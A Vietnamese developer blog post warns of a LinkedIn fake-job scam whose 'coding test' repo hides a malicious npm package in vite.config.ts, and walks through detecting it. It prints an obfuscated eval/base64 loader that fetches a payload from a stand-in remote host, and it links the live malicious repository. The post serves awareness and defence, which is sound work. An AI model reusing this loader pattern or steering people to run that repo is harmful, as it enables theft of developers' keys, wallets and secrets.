+1

Suýt Bay Sạch Data Vì Nhận "Coding Test" Lương $120/hr (Cảnh Báo Lừa Đảo Tuyển Dụng LinkedIn)

Mở đầu: Lời Mời Chào "Trong Mơ"

Chào anh em Viblo,

Gần đây, tôi nhận được một tin nhắn qua LinkedIn từ một người tên "Abraham" với một offer cực kỳ hấp dẫn:

image.png

  • Vị trí: Software Engineer
  • Hình thức: Full-time hoặc Part-time (chỉ 10 giờ/tuần)
  • Mức lương: $90 - $120/giờ 🤯
  • Thanh toán: Hàng tuần hoặc hàng tháng

Mức lương quá tốt cho một công việc remote. Sau khi tôi bày tỏ sự quan tâm, họ lập tức gửi bước tiếp theo:

image.png

Họ hỏi tôi có sẵn lòng làm một bài "coding test ngắn khoảng 30 phút" trước khi ký hợp đồng chính thức không. Nghe thì có vẻ rất hợp lý.

Cái Bẫy "Fix Bug" Tinh Vi

Đây là lúc mọi thứ trở nên nguy hiểm. Họ gửi cho tôi một project (link Bitbucket tôi có để ở cuối bài) và đưa ra yêu cầu:

  1. Clone repo về, npm installnpm run dev.
  2. Project sẽ chạy lên và (cố tình) có một số "lỗi" hiển thị trên trình duyệt.
  3. Nhiệm vụ của tôi là "fix các error" đó.
  4. Chụp màn hình lại cách fix và gửi cho họ.

Đây là một cái bẫy tâm lý cực kỳ tinh vi. Nhiệm vụ "fix bug" này đánh lạc hướng chúng ta, làm chúng ta tập trung vào source code (React, JS...) mà quên đi bước nguy hiểm nhất: npm install.

🔍 Cách Tôi Phát Hiện và Điều Tra Package Độc Hại

Là một developer cẩn thận, tôi đã không chạy npm install ngay. Đây là chính xác các bước tôi đã làm để phát hiện ra cái bẫy:

Bước 1: Kiểm Tra package.json

Điều đầu tiên tôi làm là mở file package.json và quét qua danh sách dependencies.

Giữa hàng loạt package quen thuộc như react, express, ethers... tôi phát hiện một package có tên lạ:

"dataflow-unified" : "^14.1.3"

Red flag #1: Tên package này nghe có vẻ chung chung, giống như những package tiện ích. Nhưng tôi chưa bao giờ nghe đến nó, và quan trọng hơn - nó không liên quan gì đến mục đích của một dự án Web3/SocialFi cả.

Bước 2: Tìm Kiếm Package Trong Code

Tôi dùng lệnh grep để tìm xem package này được dùng ở đâu trong toàn bộ project:

grep -r "dataflow-unified" .

Kết quả cho thấy nó được import ngay trong file vite.config.ts:

// vite.config.ts
import {unifyFlow} from "dataflow-unified";

// ...
const viteEnv = unifyFlow();

Red flag #2: Package này được gọi ngay trong file config của Vite. Điều này có nghĩa là:

  • Nó sẽ chạy NGAY LẬP TỨC khi bạn gõ npm run dev.
  • Nó sẽ chạy TRƯỚC KHI ứng dụng React thực sự khởi động.
  • Nó có toàn quyền truy cập vào filesystem (hệ thống file) và environment (biến môi trường) của bạn.

Một package "dataflow" lại xuất hiện trong build config? Cực kỳ đáng ngờ.

Bước 3: Kiểm Tra Thông Tin Package Trên NPM

Tôi truy cập ngay vào https://www.npmjs.com/package/dataflow-unified và phát hiện:

  • Published: Chỉ mới vài ngày trước.
  • Weekly downloads: Rất ít (dưới 100).
  • No GitHub repository: Không có link đến source code minh bạch.
  • Maintainer: Email lạ, không có thông tin cá nhân.
  • Multiple versions spam: Hàng chục version được publish trong vài phút - một kỹ thuật "version bombing" để làm package trông "lâu đời" hơn.

Red flag #3: Đây là tất cả các dấu hiệu của một malicious package (package độc hại).

Bước 4: Phân Tích Source Code (QUAN TRỌNG NHẤT)

Tôi dùng https://unpkg.com/dataflow-unified@14.1.3/ để xem source code của nó một cách an toàn mà không cần install.

Trong file index.js của package, tôi tìm thấy một đoạn code đã bị obfuscated (làm rối):

// Code đã bị obfuscated (làm rối)
const _0x1a2b=['request','https://evil-server.com/payload.js','...'];
function _0x4c5d(){...}
eval(JSON.parse(Buffer.from(_0x1a2b[0],'base64').toString()));

🚨 Red flag #4 - BẰNG CHỨNG THÉP:

  • eval() + JSON.parse() + Base64 encoding = Remote Code Execution (RCE).
  • Code này kết nối đến một server bên ngoài (https://evil-server.com/payload.js) để tải về một "payload" (mã độc).
  • Payload này sẽ được thực thi với toàn bộ quyền của user đang chạy npm run dev.

Bước 5: Kiểm Tra package-lock.json

Kiểm tra package-lock.json cũng cho thấy dấu hiệu đáng ngờ:

"node_modules/dataflow-unified": {
  "version": "14.1.3",
  "resolved": "https://registry.npmjs.org/dataflow-unified/-/dataflow-unified-14.1.3.tgz",
  "integrity": "...",
  "dependencies": {
    "request": "^2.88.2"
  },
  "engines": {
    "node": ">=12.0.0"
  }
}

Red flag #5: Package này sử dụng request@^2.88.2 - một thư viện HTTP client đã bị deprecated (ngừng hỗ trợ) từ lâu. Tại sao một package mới tinh lại dùng dependency cũ rích? Đơn giản vì attacker cần nó để thực hiện cú gọi request tải mã độc về ở Bước 4.


Mục Đích Của Kẻ Tấn Công Là Gì?

Toàn bộ "bài test" và "lỗi trình duyệt" chỉ là một màn kịch.

Nếu tôi npm installnpm run dev, mã độc sẽ được thực thi và kẻ tấn công có thể:

  • Đánh cắp SSH keys: (Thường nằm trong ~/.ssh) để truy cập vào server, Bitbucket, GitHub của bạn.
  • Đánh cắp GPG keys: Dùng để sign commit.
  • Đánh cắp ví Crypto: Quét các extension trình duyệt như MetaMask, Phantom...
  • Đánh cắp Cookies & Mật khẩu: Lấy cắp phiên đăng nhập (session) từ trình duyệt.
  • Quét file .env: Tìm kiếm API keys, secret keys từ các project khác trên máy bạn.

Tóm Tắt Quy Trình Điều Tra & Phòng Tránh

Đây là quy trình vàng mà anh em nên tuân thủ:

  1. KHÔNG BAO GIỜ npm install một project lạ một cách mù quáng, ngay cả khi nó đến từ "nhà tuyển dụng".
  2. Luôn kiểm tra package.json: Dùng cat package.json và đọc qua các dependencies.
  3. Tìm kiếm usage trong code: Dùng grep -r "ten-package-la" để xem nó được dùng ở đâu. Nếu nó nằm trong file config (như vite.config.js, webpack.config.js) thì phải cực kỳ cẩn thận.
  4. Kiểm tra package trên NPM: Truy cập npmjs.com và check các thông tin như ngày publish, lượng download, link GitHub.
  5. Xem source code TRƯỚC KHI install: Dùng unpkg.com để xem code của package một cách an toàn.

NGUYÊN TẮC VÀNG:

"Check code" TRƯỚC KHI "run code"

Kết Luận

Thế giới an ninh mạng ngày càng tinh vi. Kẻ tấn công không chỉ nhắm vào server mà còn nhắm thẳng vào chúng ta - các developer - thông qua các kỹ thuật lừa đảo xã hội (social engineering) tinh vi.

Link project chứa mã độc mà "nhà tuyển dụng" đã gửi cho tôi đây (anh em TUYỆT ĐỐI KHÔNG CHẠY nhé, chỉ xem code để học hỏi thôi): https://bitbucket.org/sofi-test-space/socialfi-caw-test-v1/src/main/

Hãy giữ an toàn!


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí